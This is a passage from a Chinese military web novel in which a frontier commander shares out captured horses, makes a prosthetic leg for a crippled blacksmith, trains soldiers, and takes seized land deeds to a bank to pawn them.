腹中酝酿一阵后,终于硬起头皮,走到叶十三面前深躬一礼,道:“千户大人,我落雁坡驻军,也是严重缺粮……”
“缺粮?”
叶十三一怔,好像听到了一个不可置信的话题,半眯着眼睛说道:“那好办,你也参与了,也看到了,这粮食不就有了?”
这话,让蔡云差点当场喷血。
面颊一抽,蔡云又讪笑道:“落雁坡那边,环境和这鹞子岭不同,和元蒙接壤之地没有马场啊!”
“行了!”
叶十三摆摆手,不耐烦道:“活人不能让尿憋死,动动脑子吧!”
说完,叶十三笑了,又道:“不过,你几个也算有功,待会吃完狗肉,给你一千斤豆料,一百匹战马。”
“不过!”
叶十三停顿片刻,拉下脸来又道:“虚报兵数的事,本千户就不追究了,既然给了你一百匹好马,你得给我挑选出至少一百名骑兵,不然,老子剥了你的皮!”
闻言之下,心头骤然一凛的蔡云,急忙拱手道:“谢千户大人,谢千户大人……”
第58章 没粮,谁来当兵?
一条元蒙獒犬,炖汤的话足够好几人食用。
萝卜干,山药蛋,还有剁碎了的狗肉混炖一起。
不多时,鹞子岭驻军大营,到处飘着狗肉特有的香气。
九条体型高大的元蒙獒犬,足够鹞子岭驻军美美饱餐一顿的了。
一盆没有掺杂山药蛋和萝卜干的纯狗肉被端上了桌。
戚虎惴惴不安地站在桌前,老脸一红,诚恳说道:“请千户大人恕在下欺瞒之罪!”
“你参战有功,何罪之有?”
叶十三抓起一块带骨的狗肉就啃,头也不抬地就反问戚虎一句。
“大人……”
戚虎老脸又是一红,忐忑道:“鹞子岭驻军兵数,总共二百一十九人,没有在下之前说的那么多。”
“算你还有悔悟之心,先吃饭吧,这狗肉味道不错!”
叶十三轻描淡写一句,但听到戚虎的耳中,那可不亚于泰山压顶之重。
有了这句话,戚虎心中才略微踏实一些,他这才明白,叶十三不好糊弄。
敢虎口拔牙抢鞑子马场的,放眼北防军,叶十三是第一个。
鞑子不侵犯大夏,北防军就烧高香了。
谁还敢硬闯鞑子地盘,从鞑子手里抢马抢粮还杀人?
只有叶十三,这个被充军的奴籍兵卒,从最底层能被晋升到下千户军职,那是不无道理的。
之前被晋升的那些传闻,现在看来丝毫不假。
他手中的刀,那可不是装饰和摆设,专为杀人而铸。
饭毕,叶十三吩咐马成:“分出来一百匹马,两千斤豆料,再挑选十名兵士。”
“传吴六子过来!”
叶十三又把目光投向戚虎:“再拨出五匹马,五百斤豆料给鹞子岭烽火台,传我的命令,烽火台即刻起进入战时警戒,包括你们驻军,有任何关于元蒙鞑子的风吹草动,即刻点烽升燧,有谁胆敢贻误军机战情,定斩不饶!”
片刻后,吴六子带着新挑选出来的十名兵卒,赶着一百匹军马驮着两千斤豆料,跟着叶十三回到黄羊岘。
一到营房,水都来不及喝一口,叶十三让马成速传徐老六来见他。
眼下已经是下千户了,屯田村的军户,不再是协防关系,而是叶十三直接管辖下的一部分。
如此一来,佥事徐老六,就是叶十三管辖下的下属。
没等马成动身,屯田村通向营房的路上,徐老六带着几个田兵已经从沙窝地赶了过来。
老远看到有大队马匹赶向这边,徐老六就猜到叶十三又劫了鞑子一次。
一打照面,徐老六就地单腿跪了,拱手道:“屯田村佥事徐老六,见过下千户大人。”
“行了!”
叶十三一咧嘴,摆手道:“都是老熟人了,少来这些没有的。”
“谢大人!”
徐老六站了起来,讪笑道:“听卒子们说,大人把何家的屯粮都给扣了,一粒都没让镇上的衙门运走。”
叶十三又摆摆手,咧嘴道:“我好不容易弄来的粮食和田地,凭什么让别人做主?”
这话,只有徐老六懂。
给撞到刀口上的何家设套,那是他二人心知肚明的事。
不然,还真没个突破口找这么个冤家来解决吃粮问题。
徐老六目光一瞥上百匹军马,顿时眼冒绿光,就差哈喇子吊得跟马缰绳一样长了。
“大人……”
徐老六的目光,一直停留在那群马身上。
叶十三一扬手,道:“进屋说。”
进了屋里,欠了一夜瞌睡的叶十三直接爬上炕去,在铺盖卷上半躺下来,又伸了个懒腰,这才道:“马成听着,把隔壁屋子收拾收拾,让吴六子们住隔壁的大通炕,然后跑一趟烽火台,让丁威即刻起把敌情盯紧了。”
“是!”
马成一抱拳,立即就去布置。
目送马成出了屋子,叶十三这才冲椅子上坐了从徐老六道:“马就是给你的,九十匹,加上上次的,你得即刻组织一支骑兵来,没有骑兵,我们干不过鞑子。”
整个北防军里,骑兵不足四成,而元蒙鞑子的骑兵,几乎要在八成以上。
这一点,从行军速度到队形冲击力,大夏北防军那是遇敌即溃。
就是两军对峙,让人家的骑兵一冲就散,剩下的事就是让人家鞑子骑着马追着砍。
北漠的边民,不善放牧,多以农耕为主。
而在广袤的沙漠、戈壁、草原为依托的作战中,骑兵直接碾压步军。
这些,不用说,徐老六都懂。
作为一个老兵伍,光懂有何用?
拿得出粮,银子,军马,才能让兵士跨上战马成为骑兵。
徐老六一脸感激,又感慨道:“我们眼下有了粮,虽然不是很充盈,但总比天天啃山药蛋强多了,再说现在也有了战马,训练骑兵也不是什么难事,靠军部分配,就是淘汰的战马都没几匹能拉车的,别说是冲锋陷阵了。”
“没错!”
叶十三懒洋洋地看了徐老六一眼,道:“训练骑兵,这不是什么难事,眼下最缺的就是兵数。”
他心里清楚,两村驻军,造册五百人,其实总数不足八成,能战之数更是半数而已,要是能拼凑出三百骑兵,加上屯田村田兵中凑齐一百,各村的村民中再应征二百,那么六百骑兵还勉强和附近的鞑子一战。
从各村征兵,那就得拿出粮食。
没粮,谁来当兵?
“大人!”
徐老六思忖片刻,抬头又道:“在下建议,何家的屯粮,拿出一部分来做征兵用,周边各村,现已是大人管辖,每征一丁,给粮一石,如此一来,二三百青壮男丁还是应该能征齐的。”
“嗯!”
叶十三点点头,道:“我也是我如此想法,再从我野驴滩村的牧区,挑选一百匹战马,这样就齐活了。”
“大人,野驴滩牧区的马匹,那得由军部调配,大人再是管辖野驴滩村,但一应军资,还得军部批文签印。”
徐老六面上浮起一丝焦虑,忧心忡忡地望向叶十三。
“容我想想!”
叶十三眉头一皱,一时半刻也没想出个对策来。
战马属于军资,这是铁打的事实,眼下对军部的命令,还不能死硬违抗。
“走,我陪你去趟村里!”
叶十三突然从炕上坐了起来,又道:“郑一刀或许有好办法,不能让那老小子闲着。”
“找他?”
徐老六摇摇头,面色有些为难,望着叶十三又道:“郑一刀之前在北防军中,那可是有名的游击趟子手,刀法狠辣且快,可惜啊!”
“可惜什么?”
叶十三边穿着靴子,边问。
“唉!”
徐老六叹口气,摇头道:“据说,当年郑一刀为了寻找一块什么石头?说是那石头是从天上掉下来的,结果在执行任务的过程,深陷鞑子重围,最后丢了半截左腿,伤好后就被淘汰到军垦区屯田村当了一名铁匠,从此也就消沉了下来。”
此言一出,叶十三心头陡然一惊。
自己的这把刀,不就是用什么陨石熔炼在里面铸造成的么?
玄铁刀,配上九幽刀法,神鬼都愁。
“那我更得跑一趟铁匠铺了。”
叶十三目光鉴定,抓起炕头的那把残刀,径直就出了屋子。
第59章 古人征战几人回
到了铁匠铺,叶十三直接去了后院。
“小的见过千户大人!”
一打照面,猛然一怔的郑一刀,拄着拐子就要下跪。
“快坐,不要讲究那些俗礼。”
叶十三连忙伸手,拦住了就要下跪的郑一刀。
自从升为下千户,之前熟悉的人,见面都要下跪行礼。
叶十三虽然嘴上客套一番,也阻止郑一刀拖着一条残腿向他下跪,但心里那可是受用极了。
就在此时,叶十三眼角的余光,看到何秀儿神情复杂地向他投来一瞥,然后闪身就进了里间的厨房。
想起何秀儿出嫁那天,那种被他暴力地突破了那层狭隘的屏障后,何秀儿看他的眼神,总是让他有着怪怪的感觉。
那一抹殷红刺目的残红,就像一枝梅花常开在他心里。
“大人请坐。”
郑一刀诚惶诚恐,拄着拐子站在一旁向叶十三让座。
叶十三目光一扫整个屋子,屋子不大,但很收拾得整洁。
尤其是郑一刀,原本胡须拉碴,头发蓬乱的邋遢样丁点儿不剩,一身旧衣洗得干净利落。
“出山吧!”
叶十三直截了当,毫不绕弯,直接向郑一刀下了指令。
“啊……”
郑一刀一愣,随即摇头道:“小的已经是个废人了,只能在铁匠铺拉风箱混日子,残躯之身,不敢耽误千户大人前程。”
“屁话!”
叶十三一改之前对郑一刀的恭敬,沉下脸来说道:“骑兵马战由我来亲自训练,但步军,你得教他们拼杀之技。”
“大人……”
郑一刀双眼通红,嘴唇抖得厉害。
“别说了,准备准备,明天在家等我,一起去屯田村的校场。”
说完,叶十三头也不回,大步流星地就离开了铁匠铺后院。
何秀儿一手提着茶壶,一手拿着一只茶碗,怔怔地望着叶十三走远。
“他的话,你得听。”
“是的,那是军令,我不能违抗。”
“他和别人不一样。”
“我知道,整个北防军中,目前还没人能超过他。”
“他是个男人。”
“他是战神。”
何秀儿笑了,重复着郑一刀刚才的话:“没错,他是战神,更是男人。”
郑一刀丢开拐子,一伸手就把何秀儿拦腰抱起放在炕上,一手伸向何秀儿的腰间,一手去解自己的裤带,呼哧着粗气道:“你说,我能行吗”
何秀儿似笑非笑,答非所问地说道:“你成不了他,但他能成就你。”
……
叶十三从屯田村的木匠手里,借了一支手把钻,然后又找了些熟制后的牛皮和铁打后,这才离开了屯田村。
在营房里的桌上,叶十三在一张纸上画了又画,改了又改。
“嘿嘿!”
一个时辰后,叶十三举着手里描画了半天的草纸,笑道:“成了,估计能用。”
这时候,叶举手里拿着一根粗壮的牛腿骨,来到叶十三面前说道:“刮洗干净了,边烤边刮的,估计不会裂。”
“嗯!”
叶十三接过牛腿骨,先在自己的小腿上量了一下,然后拿尺子又比划半天。
“木头呢?”
叶十三眼睛盯着桌上的牛腿骨,又瞄了一眼草纸,张口又道:“梨木最好,有韧劲,枣木虽然硬,但不容易做关节活动。”
一头雾水的叶举,又从门后拿出一条木板,放在桌边后就退了出去。
他这个堂侄,眼下可是管辖七个村子,十个烽火台,五百驻军的千户大人。
叶举生怕打搅到叶十三,又烧了一壶茶,悄然进屋放在桌上,又悄无声息地退了出去。
回到伙房的叶举,浑身有着使不完的劲,又忙着煮将近二十个人吃的晚饭。
再是奴籍苦役,干活那可是天经地义的,但此时的他,再也没有人肆意欺负,无人任意踩踏。
他羡慕叶腊八,因为年轻,被充为烽燧兵,从此就吃上了粮饷。
这一切,都得益于叶十三。
“老天保佑,保佑闰儿逢凶化吉,保佑他平安长寿……”
叶举只有把一切希望,都默默地寄托在叶十三身上,只有叶十三在,他们就不会受太多的苦。
同时,在沙窝里的茅草屋中。
彩儿啃着一块面饼,掩饰不住心中的喜悦,兴奋说道:“娘,面饼真好吃,比烤山药蛋好吃多了,今天徐才大哥,亲自送来的面粉和粳米,够咱们吃一阵的了。”
叶刘氏摇摇头,笑道:“不能光想着吃面饼,你哥哥还在军营里吃杂粮和山药蛋,得留着面粉,等你哥哥回来时,娘亲自给他烙饼吃。”
“娘!”
彩儿把嘴一撅,撒娇道:“哥哥已经是这地方最大的官了,已经是个千户将军了,这一带的烽火台,还有兵马,都归哥哥管了,这可是徐才大哥说的。”
“唉!”
叶刘氏的神色,霎时就黯淡了下来,喃喃道:“一将功成万骨枯,古人征战几人回。”
说完,叶刘氏背过身去,拿衣襟擦了擦眼角。
尽管彩儿什么都看不见,但叶刘氏总怕有人发觉了她的心思。
“我腊八哥,也当烽燧兵了。”
掩饰不住喜悦发彩儿,只有她此时最快乐,丝毫想不到她的哥哥叶十三面临的一重又一重的危机。
提起叶腊八,在一旁缝补衣服的蔡一,不由得脸就红了起来。
这个曾经为了一口吃的,主动哀求叶十三收留的女人,此时心中充满了无限的憧憬,那些时刻准备好了被施舍她饭食的男人睡的荒唐想法,已经被未来生活的向往所替代。
叶十三是给了她一口饭吃,但没为此脱她的裤子,尽管她已经做好了准备,但叶十三却没有那样做。
“小声点!”
终于绷不住了的蔡一,抬起头来笑道:“这茅草屋不隔风,也不隔音,你嚷嚷得村里人都听见了。”
“哪有什么?”
彩儿把最后一口面饼塞进嘴里,鼓着腮帮子又道:“村里的军户们,知道哥哥当了千户将军的事,要比我们还早,要不是徐才大哥说,我们都还不知道呢!”
望着彩儿稚气未脱的小脸,蔡一摇头笑笑,再也没有接彩儿的话头。
在彩儿的心中,她的哥哥叶十三就是个顶天立地的盖世英雄。
只要哥哥在,就没有人打她和娘的主意。
只要哥哥当了军官,她和娘就不会挨饿受冻,而且还有人隔三岔五送一些生活所需过来。
“瘸老婆子”和“瞎丫头”这样难听的称呼,再也没人敢喊,取而代之的却是“老夫人”和“小姐”这样令人舒心的叫法。
“蔡一姐姐,你要是和我腊八哥成了亲,是不是也要搬到军营去住?”
这一问,还真把蔡一给问住了。
她的职责,是侍奉彩儿和叶刘氏。
就是和叶腊八成了亲,彩儿和叶刘氏这一瘸一瞎的人依旧需要人侍奉照顾。
军营,是不允许带家属的,属于军事禁区。
这个问题,蔡一还真没深想过。
“面饼都堵不住你的嘴。”
发现了蔡一窘态的叶刘氏,忍不住骂了彩儿一句。
挨了骂的彩儿,没像以前那样感到委屈,反而“咯咯咯”地笑个不停。
这一笑,蔡一也笑了,叶刘氏也忍俊不住笑了起来。
自发配边城以来,母女俩从来没有如此开心地笑过,陪伴她们的,只是无尽的长夜和流不完的眼泪。
第60章 假肢
叶十三从桌后伸了个懒腰。
天亮了?
马成进的屋里,惊到:“大人,您一夜都没睡?”
“夜咋这么短?”
叶十三揉揉眼睛,看到窗户上有亮光透了进来,笑道:“这天日,还真不经磨。”
马成拿起桌上的一条假腿,翻来覆去端详半天,惊到:“这像是只假脚,大人做的是何机关?”
叶十三狠瞪马成一眼,道:“长眼睛是出气的?看着是只脚,难道不是用来走路的?”
马成笑了,笑得比哭还难看,讪讪说道:“我们都有战马骑,又不缺脚,谁还用得着它?”
“行了!”
叶十三摆摆手,打了个哈欠说道:“早饭后集合,去屯田村校场练兵。”
“您不睡会?”
马成一怔,觉得此话多余,便尴尬一笑,匆匆出去就给叶十三端洗脸水。
草草吃过早饭,吴六子已经带着十名骑兵探马整装待发。
马成牵过叶十三的马,待叶十三上了马背,这才翻身上了自己的那匹马。
一十三匹战马,敞开四蹄,顺着沙梁就向屯田村疾驰而去。
一路上蹄声雷动,烟尘滚滚,战马嘶鸣着瞬间就消失在沙梁后面。
“奇怪!”
烽火台上值瞭望哨的张发,一手搭在额前,说道:“大人应该是去了屯田村,为何绕道沙梁,而没有从沙窝斜穿过去?”
“你傻呀!”
李富贵白了张发一眼,得意道:“走沙窝是近了些,但叶大人的家人就住在沙窝,眼下,训练紧急,叶大人怕是不想让自己分心而已。”
“原来是这样啊!不过那些鞑子的马,脚力非凡,就是绕道沙梁过去,也耽误不了时间。”
张发点点头,这才表示明白了叶十三的意图。
李富贵摇摇头,遗憾道:“这次抢鞑子的马场,叶大人带的是驻军的兵士,哥几个咱白白错过了一场立功的机会。”
“屁!”
张发吐了口唾沫,轻蔑道:“还立功?就上次夜袭鞑子牧场,你小子都差点被吓尿了。”
“呵呵!”
李富贵尴尬一笑,挠挠后脑勺说道:“第一次,谁不怕?平时鞑子入侵时,来不及点燧升烟就光顾着逃命,眼睁睁看着鞑子烧杀抢掠,谁想到叶大人却主动袭击鞑子的居住地?”
“也是啊!”
张发仰天长出一口气,感慨道:“如此看来,鞑子也不是刀枪不入,几十人也经不住叶大人的一通狂砍,脑袋不照样搬家了吗?”
“诶?”
李富贵好像是想起了什么?
“奇怪,这次叶大人抢鞑子马场,多少也杀了些鞑子,为何没有砍下鞑子的脑袋上报军部请赏?”
此言一出,张发摇头道:“别没事找事了,未经军部统一部署,无端挑起战事者,那是要被军法从事的,叶大人抢战马和豆料,是为了让我们活命,而不是为了升官发财。”
李富贵似有所悟地点点头,忽然又道:“听丁什长说,叶大人此行提拔了一个兵卒,叫什么吴六子的,升为骑兵探马甲正,那小子真走运。”
“你,你说是谁?”
“吴六子啊!”
“草,是那小子?和我一个村的,打小就偷鸡摸狗,没想到被叶大人看中了,真他娘的走狗屎运了。”
“啊!你村的,原来你们都认识啊?”
“嘿!还别说,吴六子那货,还真有一手绝活,嘴巴一张一歪,学什么像什么,一般人还真听不出真假。”
“有那么神吗?”
“你还别不信,记得小时候,吴六子在村边学母羊发情的叫声,硬是把邻村的一头公羊给诱了过来,为此还被邻村放羊人给饱揍了一顿。”
“哈哈哈,这小子,还真有一手。”
“还有更绝的,夏天在浅水湾,他叼着半截芦苇,潜入芦苇荡中,把头露出水面学几声野鸭叫,然后又叼着芦苇节儿潜入水中,待求偶的野鸭飞过来时,他冷不丁从水下伸手抓住野鸭的两只脚……”
“这小子,这下跟着叶大人,总算是找到用武之地了,游击骑兵,就是侦查敌情的探马,隐蔽是必须的功课,这小子可是派上用场了。”
“没错,吴六子那货,天生的走路无声,学什么像什么,神出鬼没……”
就在张发和李富贵二人,津津有味地谈论吴六子的时候,叶十三一行一十三骑,已经到了屯田村。
进入村口,叶十三目光看向马成,道:“你带他们去练兵校场,我先去趟铁匠铺。”
来到后院,郑一刀已经把头脸刮得铮亮,脸颊上的那条伤疤,就像被烙上去的一枚军功章。
“千户大人来了,民妇这就给您烧茶。”
何秀儿神态自若,低着头对叶十三盈盈一礼,然后转身就去了厨房。
望着何秀儿走路的姿势,叶十三的心里不免又腾起一股烈焰。
“千户大人,您请坐,拙荆的茶即刻就烧好了。”
一身短装打扮得利落的郑一刀,赶忙给叶十三搬凳子。
“行了!”
叶十三摆摆手,把另一只手中提着的一只袋子扔在地上,道:“试试,应该能成!”
“大人这是?”
郑一刀一脸不解,目光困惑望向叶十三。
叶十三大嘴一咧,笑道:“打开看看不就知道了?”
这时候,何秀儿把一壶茶和茶碗放在桌上,没有急着先给叶十三斟茶,而是蹲了下来,解开了扔在地上的袋子。
“这……”
映入何秀儿和郑一刀眼帘的,却是穿着牛皮长靴的半截人腿,腿的膝关节位置,粗厚的牛皮被缝制成半截碗口粗的空筒。
空筒两侧,两条二指宽的牛皮带子,足有五尺来长。
另一只牛皮长靴,倒在一旁横在地上。
“试试,应该能行的。”
叶十三又是一句。
从牛皮长靴的方向来看,这是半条左腿。
“大人……”
郑一刀霎时就明白了叶十三的意思,更知道眼前之物是何用途了。
“你坐下,我给你穿戴。”
何秀儿眼泪汪汪,拿起半截人腿,扶着郑一刀的半条残腿就套了上去。
“对,就这样!”
叶十三站在一旁,嘴里又指挥道:“带子交叉起来,对,膝盖处缠两圈,对,剩下的绕着腰绑一圈后再扣死。”
何秀儿一丝不挂,完全顺着叶十三的指导,把半截人腿安装在郑一刀的左腿上。
偏着头端详一阵,再拿另一只牛皮长靴,脱了郑一刀右脚上的布鞋,麻利地给换了上去。
“走几步试试?”
叶十三目光望向郑一刀此时激动得抖动不停的脸,鼓励道:“步子放大,就当是你原来的腿脚。”
何秀儿扶郑一刀站了起来,却担忧地说道:“小心,千万要小心了,慢点,走稳了……”“大人,我成了……”
郑一刀推开何秀儿扶着他的两只手,兴奋地转过身来,从院子里又走回屋子,激动地喊道:“我能行了,我能行了!”
说完,郑一刀的目光,投向自己拄了几年的那支拐子上。
“咔嚓!”
一支被握得油光鉴亮的枣木拐子,被郑一刀抡起来摔成了几截散落在地。
“苍天在上,若我郑某人日后若对千户大人有二心,就如此拐万劫不复!”
郑一刀神情冷峻,摔碎了拐子后单膝跪地,仰头向天发起毒誓。
第61章 郑一刀长出了一只脚
屯田村,大校场。
百十名田兵,队列整齐,站成了两排严阵以待。
叶十三把马缰绳递给早已等候在校场入口处的马成。
“郑一刀咋没拄拐子?”
“那是郑一刀?他的腿不是断了吗?怎的看起来和常人无异?”
“快看,郑一刀长出了一只脚?”
“还真是郑一刀,走着过来的,没拄拐子……”
刚才站列整齐的队伍,随着郑一刀的出现,霎时就乱了起来。
“军垦区屯田村兵士,参见下千户大人……”
看到叶十三走了过来,田兵们即刻停止了对郑一刀的议论,纷纷单腿跪地,抱拳向叶十三行礼。
“免礼!”
背着双手的叶十三,一只手举向半空,道:“报数!”
田兵们一怔,随即站在排头的一名田兵,胸膛一挺就报道:“一!”
“二。”
“三!”
“……”
“一百零九。”
“启禀下千户大人,屯田村兵士,实到一百零九数。”
一名百夫长上前,向叶十三禀报。
“你,出列!”
叶十三指着队列末尾的一名身穿白板羊皮袍子的兵卒,又道:“谁让你站进去的?”
兵卒出列,在叶十三面前双腿一跪,倔强道:“是我爹,他说,我要是不听大人您的训,他就打断我的腿。”
这小子,年纪还不满十六,是韩老三的老大儿子韩庆。
草!
这韩老三,硬逼着自己蛋毛都没长全的儿子来训练。
“这不是玩耍,这是要上阵杀敌,杀入侵我大夏疆土的鞑子,你回家去,要么帮大人喂马!”
叶十三虎着一张脸,实在不忍心让一个十四五岁的少年参加训练。
就在这时候,韩老三弯着腰,提着一把修好了木柄的佩刀匆匆来到校场。
“小的见过下千户大人!”
一打照面,韩老三单腿跪地,倒拖着刀柄拱手就是一礼。
“你不在家养伤,跑这里何干?”
叶十三眉头一皱,愠色责问韩老三一句。
“回大人话!”
韩老三一脸讪笑,望着手中镶了新木柄的佩刀说道:“这把刀陪了小的二十年了,刀把都坏过几回了,这下修好了给娃儿使。”
说着,韩老三把刀递给韩庆,沉下脸来说道:“好好训练,要是拖腰拉胯,不等叶大人军法从事,老子先打断你的腿。”
“行了!”
叶十三摆摆手,叹气道:“既然如此,那就留下吧!”
“还不赶快谢过叶大人?”
韩老三上前一步,扬起手来照着韩庆的后脖颈就是一个巴掌,狠声道:“练不好,别吃饭。”
这一句,比打断腿管用多了,听得韩庆浑身一哆嗦。
叶十三算是收下了韩庆,转头向郑一刀点点头,待郑一刀走到近前,目光一扫眼前的田兵们,提高了声调朗声道:“军户郑一刀,即刻擢升教头职,领甲正饷银,主步军杀阵训练,你等虽为骑兵人选,但先训练步军杀阵,合格者再练马战杀技,训练期间,顶撞教头者,杖二十;怠慢训练科目者,杖一百,罚苦役三年。”
此言一出,满场哑然。
叶十三目光如炬,再次从每个田兵脸上扫过,又道:“郑教头大家不陌生吧!要想吃粮,要想让一家老小活命,就给老子好好练杀技,砍下敌人的脑袋,才是王道。”
“砍下敌人脑袋,才是王道……”
田兵们纷纷高举手中佩刀,校场山呼一片,惊得几棵枯树上栖息的乌鸦,扑棱棱齐飞起来掠向远处。
叶十三再次举起手臂,校场上如雷的呼喊声这才停了下来。
再看郑一刀,面颊一阵急抽。
额头上斜横着的那条刀疤,由于激动而变得紫红。
郑一刀身子微微一晃,向前走了三步,缓缓举起一把刀来。
那把刀,是一把新刀。
是郑一刀在叶十三离开铁匠铺后院后,从何秀儿身上爬了下来的郑一刀,不顾疲劳的他连夜锻造而成。
那把刀也很丑,也像一根刀坯样的铁条。
就在叶十三天亮时分,把那条裹着牛腿骨的假肢缝制成功时,郑一刀也完成了对新刀的锻造。
“大人,这把刀,是小的昨夜专为自己所造,一个趟子手,这辈子是离不开刀的。”
郑一刀躬身向叶十三一礼,然后缓缓转身面向田兵们又是一礼,道:“身为边城士卒,必为疆土浴血奋战,拜托了兄弟们。”
一旁马成,忍俊不住上前,对郑一刀说道:“你可知道?在你为自己锻刀的同时,千户大人一夜没有合眼,也为你缝制了这条假肢。”
闻言之下,郑一刀虎躯一震。
“开练!”
郑一刀暴吼一声,高声又道:“二十人一组,分六组,每组拉开一丈距离……”
叶十三微微颔首,向吴六子说道:“你们十一人,加入到剩下的那九人中凑合一组,即刻投入训练。”
吴六子点点头,向身后下了马的十名骑兵探马一挥手,迅速穿插进去和队尾的九名田兵合成一组。
霎时间,校场上杀声震天。
在飞扬的尘土中,六组步军时而对峙,时而并肩,时而腾起,时而冲刺,在不断变幻着穿插下的队形中,佩刀连成一片寒光,顿时让校场充满了一片森森杀气。
叶十三带着马成来到签房大院,向徐老六说道:“即刻起,屯田村进入甲级战备,鞑子说不定什么时候就来了,务必做好防务,给郑一刀的粮饷,再加糙米两升,银五两。”
“大人……”
徐老六老脸一红,讪讪说道:“加口粮好办,也就二升而已,可这银子……”
望着徐老六一脸的尴尬和无助,叶十三知道,军部给他这个下千户都没拨下用以发放饷银的钱来,一个军垦区的佥事,哪有银子填补这个坑?
“那就先拿口粮吧!银子的事,我想办法。”
说完,叶十三把视线转移到徐才脸上,道:“套两辆马车,一辆给我娘她们坐,另一辆拉上我娘的东西,将她老人家火速转移到芦河湾村何家大院,腾出沙窝里那处茅草屋另作他用。”
一听去沙窝,徐才的一只独眼霎时就亮了。
“小的遵命,小的一定把老夫人和彩儿小姐安全送到何家大院。”
徐才一溜烟就出了签房去办事,叶十三摇摇头笑道:“把何家的地契,都给我。”
徐老六面色一紧,急道:“大人,这个还需谨慎,镇上衙门怕是不会善罢甘休?”
这鸟人,还挺小心!
“唉!”
叶十三面露难色,长叹一声道:“我得拿着何家的地契,向地方衙门和军部要钱,没钱,如何养活这七村十台的肚子?”
“大人……”
徐老六心有余悸,小心又道:“还是先拿一部分出去,咱手里不留点?怕是上面那些人的许诺不太可靠,到头来还是咱的难处大啊!”
“我何尝不是如此想着,但眼前的形势逼人,全拿出来吧!”
叶十三一脸无奈,坚持要把查抄了何家的那些地契全部拿走。
“大人请稍等。”
不大时候,去而又返的徐老六,怀中捧着一只硬木匣子进来。
“大人,地契全在里面,小的留了一手,只把房契商铺那些的书证上交给了军部。”
徐老六把匣子放在桌上,一脸得意地望着叶十三。
“很好,你办事,我放心。”
叶十三接过徐老六递上的钥匙,示意马成抱上匣子:“好了,明天去镇里,找上面要钱。”
第62章 搞钱
晚饭后,叶十三单独召见吴六子。
“大人!”
吴六子一进屋里,主动把门关了起来。
这货,真不愧是偷鸡摸狗的料。
叶十三点点头,指着桌上装有地契的匣子,沉声道:“认准了,万不可搞错!”
说着,叶十三拿出钥匙放在桌上,这是钥匙,你先过过眼,熟悉熟悉。
“敢问大人,这是?”
目光狡黠的吴六子,知道叶十三有大事要他去办。
要不然,如何会单独召见他这个新提拔的甲正?
这匣子里,绝对是装着至关重要的东西。
“打开看看!”
叶十三让吴六子打开匣子,拿出那些地契清点一遍。
“大人,共两千亩。”
“嗯!”
叶十三点点头,低声道:“老子拿它去镇里的钱庄抵押,弄些银子给弟兄们发饷,不然这大家的日子难过啊!”
懂了!
聪明人不可细提。
吴六子眼珠子一转,低声道:“大人的意思是……”
叶十三没有搭话,扬手打断了吴六子要说下去的话,然后亲自把田契装回匣子,上了锁后,又把钥匙揣回了自己的怀里。
“你,退下吧!”
叶十三淡淡一句,吴六子躬身退下。
就在吴六子拉开门后将要一脚跨出去的时候,身后的叶十三又道:“明天一早,老子带马成去镇上钱庄把它给抵押了,估计天黑前回来。”
……
翌日大早,草草用过早饭。
叶十三带着马成,快马加鞭向镇里的方向一路疾驰。
“都打探好了?”
叶十三目视前方,随口一问。
落后叶十三半个马身的马成,不假思索说道:“大人放心好了,‘四通钱庄’是副万户周大人的买卖,这个在整个边城都不是秘密,可以说是家喻户晓的了。”
“那就好!”
叶十三嘴角拧起一笑,一路再无言语。
“别说是在这通天驿镇了,就是离镇六十里外的万川郡,有字号的买卖人,都在通天驿镇的四通钱庄走银子。”
“都知道,只有从四通钱庄走账,沿途官府查得也就少了。”
“大人有所不知,四通钱庄开出去的银票,有官府设卡的地方,那就是特别通行证。”
“别看万川郡管着通天驿镇,但通天驿镇的商贸,那可是周边几个郡都无法比及的。”
“何家,就是抱着周敬堂的大腿才独霸芦河湾村,何正那老家伙,仗着这层关系,把周围村里的军户都不放眼里,该坑就坑,该蒙还是蒙。”
“钱庄的掌柜贾迎财,之前是周府的一名账房,后来周敬堂开了钱庄,他就成了明面上的掌柜了。”
“……”
马成滔滔不绝,一口气把镇上四通钱庄的情况,向叶十三说了个底朝天。
叶十三只顾催马赶路,貌似一句都没听进去。
一个时辰后,离黄羊岘四十里路的通天驿镇到了。
虽是边城之地,但如此大的建筑规模的镇子,就是在内地也不多见。
“大人快看!”
马成手里的马鞭,指着前面不远处的一幢三层土木结构的小楼,道:“前面十字右手,坐北朝南的那铺子,就是四通钱庄了。”
对于通天驿镇,叶十三并不陌生,他在流放充军来时的路上,就在镇上军部的驿站被关押了七天,透过驿站后院的栅栏,他没少打量这个边城重镇。
但他不知道镇上还有这么一家钱庄,直到他被充军黄羊岘,也不知道有这么一处所在。
“嗯!”
叶十三顿觉眼前一亮,道:“到门口再下马,然后直接找能拿事的谈。”
“小的明白!”
马成点点头,就赶在叶十三前面下了马,然后接住叶十三的马缰绳,搭手做了个扶人的动作,伺候叶十三下马。
见有人在钱庄门前下马,顿时就有一个身穿白板羊皮袄子的伙计迎了出来。
“两位军爷,这是当物还是存钱?”
伙计接住了两根马缰绳,目光却扫向马成背上的包裹。
“找你家掌柜过来!”
马成神气十足,一副蛮横的兵痞样子。
“二位军爷,里边请!”
马成的话刚落,又有一个伙计迎了出来,把叶十三和马成迎到了钱庄里面。
“二位军爷这是?”
伙计跟在二人身后进了钱庄,然后站着直接问话。
“你急个屁!”
马成眼睛一瞪,怒道:“还不烧茶,找个能拿事的过来见过下千户叶大人。”
下千户叶大人?
伙计面颊一抽,随即又满脸笑意道:“原来是叶大人啊!失敬失敬。”
说着,伙计拱起手来,向叶十三潦草一礼。
“掌柜的忙,有何买卖,小的完全可以做主。”
伙计漫不经心地应付了一句,然后这才慢腾腾去提茶壶。
这时候,前面去拴马的伙计进了钱庄,拱手笑道:“原来是新上任的千户大人,要不小的叫几个酒菜,让得顺楼给送过来?”
“行了!”
叶十三眉头一皱,不耐烦地说道:“做你的买卖就是,别虚头巴脑的净扯这些屁话!”
“千户大人这是有买卖要办喽!不知道是存钱,还是押物?”
“押物!”
叶十三瓮声一句,便不再理睬伙计。
伙计依旧笑脸如初,道:“本钱庄有三不押:一,兵器甲胄不押;二,活丁活物不押;三,官府公文不押,不知道千户大人所押何物?”
望着对千户这样的身份都目中无人的伙计,叶十三没有搭腔,而是向马成偷去一瞥。
“睁大你们的狗眼,可给老子看好了!”
马成骂骂咧咧,从背上解下包裹,又从怀里摸出一把钥匙,打开包裹中的一只硬木匣子,冷声道;“田产地契,只当三天。”
三天?
话音一落,伙计眼睛都绿了。
